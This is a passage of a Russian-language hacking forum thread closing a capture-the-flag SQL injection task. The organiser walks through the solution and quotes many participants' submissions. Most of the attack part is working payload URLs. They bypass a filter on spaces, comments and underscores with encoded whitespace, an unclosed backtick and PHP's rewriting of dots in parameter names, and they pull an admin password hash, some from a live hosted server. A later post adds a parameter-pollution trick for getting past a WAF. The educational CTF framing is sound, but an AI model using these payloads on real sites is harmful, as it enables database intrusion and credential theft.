HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 22.08.2017, 08:17
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Завтра закрою задание.

Можно присылать полусырые ответы, главное чтобы можно было увидеть потенциал.
 
Ответить с цитированием

  #32  
Старый 22.08.2017, 08:53
Jup1ter_
Новичок
Регистрация: 27.11.2015
Сообщений: 19
С нами: 5506166

Репутация: 6
По умолчанию

Когда новый таск ждать?
 
Ответить с цитированием

  #33  
Старый 22.08.2017, 09:19
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Цитата:
Сообщение от Jup1ter_  

Когда новый таск ждать?
Пока не знаю.

Не планировал ничего, был минутный порыв, отчасти внутренний протест против затянувшегося периода нехватки времени.

Но полагаю, если будет интерес, в группах его поддержат обязательно.

Возможно и у меня получится.
 
Ответить с цитированием

  #34  
Старый 23.08.2017, 08:24
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Задание закрыто

Постараюсь дать более подробное объяснение, чем принято в заданиях, поскольку хочется показать, что никакая это не уличная магия и не развлекаловка исключительно для групп.

Обычная задачка, доступная всякому, освоившему синтаксис мускула и php, и умеющему мыслить логически.

Ну, может быть, иногда нужно включать хакерскую догадку, если конкретных знаний пока недостаточно.

Задание можно разбить на две подзадачи:

- получить вывод информации через SQLi

- вывести информацию, уже конкретно из таблицы admin_site

Смотрим запрос

Код:
$sql="select tovar, dataprice, cena from pricelist where $key = $id and kmag=1";
Инъекция возможна в переменные $_GET['$key'] и $_GET['$id'].

Нам привычнее крутить тут

Код:
select tovar, dataprice, cena from pricelist where $key = {SQLi} and kmag=1
т.е. вызов будет выглядеть так:

Код:
http://localhost/test.php?id={SQLi}
поехали

Код:
http://localhost/test.php?id=0 union select 1,2,3
(далее буду писать только ту часть, что начинается со знака вопроса)

сработает фильтр на пробел

Код:
if(preg_match("|[\[ _\-\]\*(]+|ims", $_SERVER['QUERY_STRING'].urldecode($_SERVER['QUERY_STRING'])))die("Hacking attempt");
тогда заменим пробел на варианты из %09 ,%0а, %0b, %0d

Код:
?id=0%0aunion%0aselect%0a1,2,3
select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3 and kmag=1
запрос невалидный, мешает участок " and kmag=1", поле kmag отсутствует в запросе union select.

Его нужно отрезать комментариями, или достроить до валидного.

Штатные комментарии фильтром запрещены ("-- ","#", "/**/", и даже нештатный ";%00"), поэтому достраиваем запрос.

Я пытался подтолкнуть к использованию backtick "`", как эффективного и красивого аналога многострочного комментария и незаслуженно "забытого" в паблике ачата.

Код:
?id=0%0aunion%0aselect%0a1,2,3`
select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3` and kmag=1
В данном случае, все, что идет после обратной кавычки до конца строки (в т.ч. и символы \r\n) будет воспринято, как алиас поля 3, поскольку закрывающая кавычка отсутствует, что эквивалентно действию многострочного комментария.

т.е. даже если запрос был бы многострочным

[CODE]
$sql="select tovar, dataprice, cena
from pricelist where $key = $id
and kmag>0
and kmag0
and kmag$id){

(Здесь $key определяет имя переменной, а $id - ее значение.)

И тут либо вспоминаем эту разницу, либо методом хакерского тыка проверяем инъекцию в $_GET['key'].

А разница действительно есть и она даже описана в документаци к php http://php.net/manual/ru/language.variables.external.php

Смысл в том, что в именах переменных (но не в значениях), переданных через массивы $_GET и $_POST некоторые символы запрещены и преобразуются к знаку подчеркивания "_".

А символы эти - пробел, левая квадратная скобка и точка (" ", "[", ".").

Фигасе! То, что нужно!

Пробел и скобку фильтр детектит, а вот точку пропускает, поэтому окончательный вызов будет таким.

Код:
http://localhost/test.php?0%0aunion%0aselect%0apassword,user,email%0afrom%0aadmin.site`=xek
(здесь "=xek" не несет смысловой нагрузки, просто смайлик )

запрос приобрел вид

Код:
select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site` = xek and kmag=1
и вернул нужные данные из admin_site

Код:
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
В условиях, когда backtik перестал работать на новых версиях мускула (во всей линейке 5.7), можно достроить запрос таким образом, чтобы хвост "and kmag=1"

не приводил к ошибке выполнения запроса.

В таблице admin_site нет поля "kmag", поэтому запрос валится, но такое поле есть в pricelist, поэтому тем, или иным способом добавим таблицу в запрос и достроим до валидного.

Например так:

Код:
http://localhost/test.php?0%09union%09select%09password,user,email%09from%09admin.site,pricelist%09where%091=1
соответственно запрос приобрел вид

Код:
select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site,pricelist where 1 = 1 and kmag=1
и уже выполняется нормально.

Как искать, когда не знал или не помнил это правило?

Гугл: "php переменная get подчеркивание".

Или сразу - метод хакерского тыка, можно и более надежное средство - фаззер (кто не знаком, обязательно освойте).

Обычно в проблемное место вставляют вывод генератора из 1-3 символов.

Как вариант, свой скрипт быстренько накидать.

.SpoilerTarget" type="button">Spoiler: Скрипт

Код:
 $u1.chr($i).$u2,
        CURLOPT_RETURNTRANSFER => 1,
    ));
    $r = curl_exec($ch);
    if(stripos($r,'admin')>0)    echo $i,"
",chr($i),"
",$r;
}
curl_close($ch);
Про backtik.

К сожалению этот удобный способ отходит в историю, как в свое время ушел незакрытый комментарий "/*".

Видимо патчили тут

https://dev.mysql.com/doc/relnotes/m...ws-5-5-29.html

https://dev.mysql.com/doc/relnotes/m...ws-5-6-11.html

https://dev.mysql.com/doc/relnotes/m...ews-5-7-1.html

.SpoilerTarget" type="button">Spoiler: Info
Replication: Backtick (`) characters were not always handled correctly in internally generated SQL statements, which could sometimes lead to errors on the slave. (Bug #16084594, Bug #68045)

References: This issue is a regression of: Bug #14548159, Bug #66550.

И остался еще один интересный вопрос, каким образом точка с запятой ";" делает запрос валидным (смотрим прохождения ниже).

Не понимаю, как это работает.

Это точно не php и не mysql.

Есть подозрение, что-то дополнительно обрабатывает запрос, возможно предпроцессор какой то оптимизирует строку запроса.

Очень хотелось бы разобраться в причине такого аномального поведения, как минимум, двух серверов.

Во первых, нужно понимать причину аномалии и условия возникновения.

Во вторых, около этого могут находится и другие интересные эффекты.

Может владельцы помогут прояснить причину.

Прохождения:

.SpoilerTarget" type="button">Spoiler: Прохождения

Цитата:
Сообщение от crlf  

Привет.
Увидев фильтр, подумал, что наметился небольшой прорыв в скулях, но потом вспомнил об особенности пыха
По бырику получилось так:
Код:
http://localhost/test.php?1%0Bunion%0Bselect%0B1,user,password%0Bfrom%0Badmin.site%0BLEFT%0BJOIN%0Bpricelist%0BON%0B1=1
Цитата:
Сообщение от t0ma5  

Код:
~$ curl -s -k 'http://z1.ru.host1606652.serv16.hostland.pro/test.php?1=1&1%0alike%0a1%0aunion%0aselect%0auser,password,email%0afrom%0aadmin.site%0awhere%0a1%0alike%0a1%0aor%0a2=%222%22%0aunion%0aselect%0a1,1,1%0afrom%0apricelist%0awhere%0a1%0alike%0a1%0aor%0a2=%222%22'

| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |

| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |

| *4414E26EDED6D661B5386813EBBA95065DBC4728 | admin | webmaster@localhost |

| 1 | 1 | 1 |
k
Цитата:
Цитата:
Сообщение от cat1vo  

REQUEST
GET /test.php?1%3D1%0Aunion%0Aselect%0Auser,password,em ail%0Afrom%0Aadmin.site%60= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
RESPONSE
HTTP/1.1 200 OK
Date: Mon, 31 Jul 2017 16:38:24 GMT
Server: Apache
Content-Length: 159
Connection: close
Content-Type: text/html; charset=UTF-8

| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |

| *4414E26EDED6D661B5386813EBBA95065DBC4728 | admin | webmaster@localhost |

Цитата:
Сообщение от rrock  

Привет. Вот такое решение получилось у меня:
/test.php?id%3d100%0aunion%0aselect%0apassword,user ,email%0afrom%0aadmin.site%0aunion%0aselect%0atova r,dataprice,cena%0afrom%0apricelist%0awhere%0aid=1 00
Соответственно, получаю такой вывод:
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
Цитата:
Цитата:
Сообщение от Evan  

Привет, попытался решить задание - на моём компе сработал вот такой вариант:
?1%09union%09select%09user,password,email%09from%0 9admin%2esite%09where%091=1%09union%0aselect%09tov ar,dataprice,cena%09from%09pricelist%09where%091
Решение основано на том, что зафильтрованные символы пробела заменяем на табуляцию (урл-код %09), а зафильтрованный символ нижнего подчёркивания заменяем на точку (урл-код %2e).
Цитата:
Сообщение от st55  

Код:
index.php?id%3D1%0Aunion%0Aselect%0A1,user,3%0Afrom%0Aadmin.site;
Соответственно вместо user и остальные данные. На локалке вроде выводит, но у тебя на хосте нет. Спасибо за задание, потратил немного нервов.
Цитата:
Сообщение от st55  

Хм. Обнаружил в теме хост, там нормально отработала точка с запятой, без полноценного нуллбайта, на локалке тоже. Значит уже не глюк.

Странные вещи творятся, тут запрос отрабатывает, тут нет. Я, кстати, так и не дошёл до нормализации запроса. Так что задание до конца не осилил. В любом случае хоть что-то, так как про представлении серверов я не слышал раньше, а тут задание повлекло понимание.
Цитата:
Сообщение от Shubka75  

Приветствую. Как я заметил, вы начали принимать частичное прохождение задания, так что прилагаю свой пример вывода версии.
Код:
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1%0aunion%0aselect%0a1,2,@@version%0aunion%0aselect%0a1,2,3%0afrom%0apricelist%0awhere%0a1
Цитата:
Сообщение от seotor  

Собственно вот -
http://sdasasdsad.000webhostapp.com/index.php?nullUnIOnSeleCtpassword,user,emailfromad min.site;
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
На практике я такое никогда не встречал, но, это было весело, теперь буду знать, спасибо)
Цитата:
Сообщение от Jup1ter_  

Не поздно ещё решения сдавать?
Давно не заходил на форум, а тут квесты.
http://z1.ru.host1606652.serv16.hostland.pro/test.php?1 UNION SELECT password,user,email from admin.site UNION SELECT 6,5,4 from pricelist where id=1
Цитата:
Сообщение от shotya  

Привет. Ответ на задание:
test.php?true%0aunion%0aselect%0auser,password,ema il%0afrom%0aadmin.site%0aunion%0aselect%0akmag,kma g,kmag%0afrom%0apricelist%0awhere%0a1=1
 
Ответить с цитированием

  #35  
Старый 23.08.2017, 15:17
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

Задание безусловно, безусловно интересное. В первую очередь благодарю за детально описанные решения, причем несколько.

Но, говорить, что всё это очевидные вещи понятные новичкам... В общем мне это напомнило вот такое обсуждение: https://rdot.org/forum/showthread.php?t=741

Ситуация аналогичная имхо, тем более что уважаемый dooble не понял трюк с ; хотя для некоторых он тоже очевиден.
 
Ответить с цитированием

  #36  
Старый 23.08.2017, 15:35
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Цитата:
Сообщение от Gorbachev  

тем более что уважаемый
dooble
не понял трюк с ; хотя для некоторых он тоже очевиден.
Если имеется ввиду не расщепление запросов (что не может служить терминатором, вот при mq=off работало в связке с ";%00"), то большая просьба объяснить феномен.

Давайте разжуем.

MySQL поддерживает расщепление запросов (можно проверить в консольном клиенте), но клиент php должен обратиться, как

Код:
mysqli::multi_query()
mysqli_multi_query ()
Смотрим http://www.php.net/manual/ru/mysqli.multi-query.php

а в скрипте идет обычное $db->query($sql) и если после ";" будет продолжение строки то восприниматься будет, как ошибка, встретился "конец запроса", а следом идет опровержение, текст запроса продолжается.

Но и в случае mysqli_multi_query () запросы должны быть валидные, а мы после ";" передаем мусор, который мускул не сможет обработать и вывалит ошибку синтаксиса.

Т.е. на этих серверах "нечто" убирает этот мусор, перед тем, как отдать на выполнение СУБД.

Либо существует настройка мускула (о которой я не знаю) и она позволяет обрабатывать запрос только до ";".

Версия на обоих аномальных серверах - 10.1.20-MariaDB, поднимал ее локально для проверки, в конфигурации из коробки реагирует на мусор после ";" привычной ошибкой.
 
Ответить с цитированием

  #37  
Старый 23.08.2017, 23:11
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

dooble, я предполагаю, что все гораздо проще, сейчас возможно кто нибудь скинет ссылку на документацию мускуля или php, где будет всё просто и понятно, возможно с аналогичной формулировкой, мол вы разве такую элементарность не знали?

Ещё раз благодарю за квест, столько нового разом узнал. Я вообще ничего этого не знал, ни про ` ни про замену [ или точки на _, и уж тем более про ; а тут сколько нового.

Подобные квесты, когда их суть сводится к полуприватным(назовем это так) техникам, очень полезны, но иногда чуток бомбит, когда делаются заявления, что это очевидно. Очевидно для того, кто читая мануалы мускуля или php случайно находит какую нибудь фичу, которую можно использовать для байпассов... Ну ссылку на подобные рассуждения на рдоте я кидал.
 
Ответить с цитированием

  #38  
Старый 27.08.2017, 16:14
Veil
Флудер
Регистрация: 21.05.2015
Сообщений: 2,031
С нами: 5779766

Репутация: 72


По умолчанию

Цитата:
Сообщение от dooble  

Если имеется ввиду не расщепление запросов (что не может служить терминатором, вот при mq=off работало в связке с ";%00"), то большая просьба объяснить феномен.
Давайте разжуем.
MySQL поддерживает расщепление запросов (можно проверить в консольном клиенте), но клиент php должен обратиться, как
Код:
mysqli::multi_query()
mysqli_multi_query ()
Смотрим
http://www.php.net/manual/ru/mysqli.multi-query.php
а в скрипте идет обычное $db->query($sql) и если после ";" будет продолжение строки то восприниматься будет, как ошибка, встретился "конец запроса", а следом идет опровержение, текст запроса продолжается.
Но и в случае mysqli_multi_query () запросы должны быть валидные, а мы после ";" передаем мусор, который мускул не сможет обработать и вывалит ошибку синтаксиса.
Т.е. на этих серверах "нечто" убирает этот мусор, перед тем, как отдать на выполнение СУБД.
Либо существует настройка мускула (о которой я не знаю) и она позволяет обрабатывать запрос только до ";".
Версия на обоих аномальных серверах - 10.1.20-MariaDB, поднимал ее локально для проверки, в конфигурации из коробки реагирует на мусор после ";" привычной ошибкой.
Это правильное разжевывание. Одорямс.)))) Главное показать направление. Это отличный ход.
 
Ответить с цитированием

  #39  
Старый 15.09.2017, 03:19
ghost8
Участник форума
Регистрация: 29.05.2015
Сообщений: 110
С нами: 5768246

Репутация: 0
По умолчанию

Спасибо за задание,как говорится все проще если вдуматься,но полез куда сложнее))

КрасавчиГ что делаешь такое,

Респект и Уважуха
 
Ответить с цитированием

  #40  
Старый 17.08.2021, 15:41
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Вот всплыл еще вариант использования, вроде отдельная тема, но грабли те же:

Загрязнение параметров в приложениях на PHP

PHP использует parse_str() для синтаксического анализа параметров, таким образом, что символы "[", "." и "_" воспринимаются как одинаковые. По умолчанию PHP будет использовать последний параметр как действительный.

Таким образом, в случаях, когда PHP работает на бэкэнде, но фронтенд (API шлюз или WAF) проверяет параметр, мы можем передать в PHP поддельные параметры.

http://example.com/hpp.php?account_id=real&account[id=fake

==

Принимается скриптом по типу:

[CODE]
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.